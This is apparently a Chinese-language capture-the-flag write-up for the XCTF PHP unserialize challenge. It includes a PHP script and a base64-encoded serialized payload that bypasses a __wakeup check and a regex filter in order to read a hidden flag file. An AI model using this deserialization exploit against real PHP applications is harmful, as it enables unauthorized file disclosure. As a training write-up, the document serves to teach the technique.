Web php unserialize xctf 攻防世界 web高手进阶区
题目描述

进入题目场景

对代码进行分析,基本思路为:对Demo这个类进行序列化,base64加密之后,赋值给var变量进行get传参就行了。
对于类Demo中有三个方法,一个构造,一个析构,还有就是一个魔术方法。
构造函数__construct()在程序执行开始的时候对变量进行赋初值。__
析构函数__destruct(),在对象所在函数执行完成之后,会自动调用,这里就会高亮显示出文件。__
在反序列化执行之前,会先执行__wakeup这个魔术方法,所以需要绕过,当成员属性数目大于实际数目时可绕过wakeup方法,正则匹配可以用+号来进行绕过。
<?php
class Demo {
private $file = 'index.php';
//protected $file1 = 'index.php';
public function __construct($file) {
$this->file = $file;
//$this->file1 = $file1;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$a = new Demo("fl4g.php");
echo serialize($a)."\n";
//O:4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.php";}
echo base64_encode('O:+4:"Demo":2:{s:10:" Demo file";s:8:"fl4g.php";}');
使用代码在线工具执行 https://tool.lu/coderunner/

代码执行后,已经进行base64编码,进行传参即可得到flag。


浙公网安备 33010602011771号